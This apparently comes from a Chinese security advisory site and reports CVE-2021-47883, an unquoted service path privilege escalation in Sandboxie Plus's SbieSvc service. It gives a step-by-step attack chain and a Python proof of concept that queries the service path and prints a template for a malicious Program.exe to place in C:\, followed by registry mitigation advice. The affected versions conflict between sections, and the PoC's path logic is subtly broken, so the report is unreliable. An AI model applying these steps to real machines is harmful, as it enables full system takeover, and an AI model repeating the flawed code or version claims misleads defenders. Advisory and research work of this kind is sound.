IPBUF安全漏洞报告
English
CVE-2021-47883 CVSS 7.8 高危

CVE-2021-47883: Sandboxie Plus SbieSvc服务路径未加引号权限提升漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2021-47883
漏洞类型
未加引号服务路径漏洞
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Sandboxie Plus

相关标签

未加引号服务路径本地权限提升Sandboxie PlusSbieSvcWindows服务漏洞高危漏洞CVE-2021-47883

漏洞概述

Sandboxie Plus 0.7.2版本中的SbieSvc服务存在未加引号的服务路径(Unquoted Service Path)安全漏洞。该漏洞允许本地低权限攻击者通过利用服务可执行文件路径中的空格,将恶意可执行文件放置在路径的中间目录位置,从而在服务启动时以LocalSystem高权限执行恶意代码。攻击者无需任何用户交互即可完成攻击,成功利用此漏洞可将当前用户的低权限提升至系统最高权限,实现完全的主机控制。由于该漏洞属于本地权限提升类型,攻击者需要先获取目标系统的访问权限,但一旦成功利用,将对系统安全造成严重威胁。

技术细节

未加引号服务路径漏洞是一种常见的Windows本地权限提升技术。当Windows服务配置的可执行文件路径包含空格且未使用引号包裹时,系统会按照路径空格分隔的顺序依次查找并执行程序。例如,如果服务路径配置为C:\Program Files\Sandboxie Plus\SbieSvc.exe,系统会首先尝试执行C:\Program.exe,如果存在则直接执行;否则继续尝试C:\Program Files\SbieSvc.exe。攻击者可利用此特性,在C:\目录下放置名为Program.exe的恶意可执行文件,当SbieSvc服务启动时,系统会优先执行攻击者的恶意程序,且以LocalSystem账户权限运行,从而实现权限提升。攻击者通常需要具备在系统目录写入文件的权限,可通过DLL侧加载、计划任务等方式实现初始访问。

攻击链分析

STEP 1
步骤1
攻击者获取目标系统的本地访问权限,获得低权限用户shell
STEP 2
步骤2
攻击者识别SbieSvc服务配置,发现可执行文件路径包含空格且未加引号
STEP 3
步骤3
攻击者通过DLL侧加载、计划任务或其他方式获取在服务路径中间目录(如C:\)写入文件的权限
STEP 4
步骤4
攻击者将恶意可执行文件(如Program.exe)写入到路径中的中间目录位置
STEP 5
步骤5
等待SbieSvc服务重启或系统启动时,服务会按路径顺序查找可执行文件
STEP 6
步骤6
系统在找到攻击者的恶意Program.exe后以LocalSystem权限执行,实现权限提升
STEP 7
步骤7
恶意代码以系统最高权限运行,攻击者获得完全的主机控制权,可部署后门、窃取数据或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2021-47883 PoC - Sandboxie Plus SbieSvc Unquoted Service Path This PoC demonstrates the unquoted service path vulnerability in Sandboxie Plus SbieSvc service. Note: This is for educational and authorized testing purposes only. """ import subprocess import os def check_service_path(): """Check if SbieSvc has unquoted path vulnerability""" try: # Query service configuration using sc qc command result = subprocess.run( ['sc', 'qc', 'SbieSvc'], capture_output=True, text=True ) output = result.stdout print("[*] SbieSvc Service Configuration:") print(output) # Check if BINARY_PATH_NAME contains spaces and no quotes if 'BINARY_PATH_NAME' in output: lines = output.split('\n') for line in lines: if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() print(f"\n[*] Service Path: {path}") # Check for vulnerability conditions if ' ' in path and not path.startswith('"'): print("[!] VULNERABLE: Path contains spaces without quotes!") # Extract path components parts = path.split() print(f"[*] Potential injection points:") for i, part in enumerate(parts[:-1]): # Exclude filename potential_path = '\\'.join(parts[:i+1]) print(f" - {potential_path}\.exe") else: print("[+] NOT VULNERABLE: Path is properly quoted") except Exception as e: print(f"[-] Error: {e}") def create_malicious_executable(): """Generate template for malicious executable creation""" # This would be the malicious executable code # For demonstration purposes only evil_code = ''' #include <windows.h> int main() { // Malicious code would be placed here // This would typically create a reverse shell or add a backdoor // Executed with LocalSystem privileges MessageBox(NULL, "CVE-2021-47883 Exploited - Sandboxie Plus SbieSvc", "Privilege Escalation", MB_OK | MB_ICONWARNING); return 0; } ''' print("\n[*] Example malicious executable code template:") print(evil_code) print("[*] Compile and place as 'Program.exe' in C:\\ to exploit") if __name__ == "__main__": print("=" * 60) print("CVE-2021-47883 - Sandboxie Plus SbieSvc Unquoted Path") print("=" * 60) check_service_path() create_malicious_executable() print("\n[*] Reminder: Always obtain proper authorization before testing")

影响范围

Sandboxie Plus < 0.7.2 (likely all versions prior to fix)

防御指南

临时缓解措施
如果无法立即更新,可通过修改注册表中HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SbieSvc的ImagePath值为加引号路径(如"C:\Program Files\Sandboxie Plus\SbieSvc.exe")来临时缓解。同时确保C:\等中间目录不允许普通用户写入文件,并监控是否有异常可执行文件出现在服务路径目录中。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表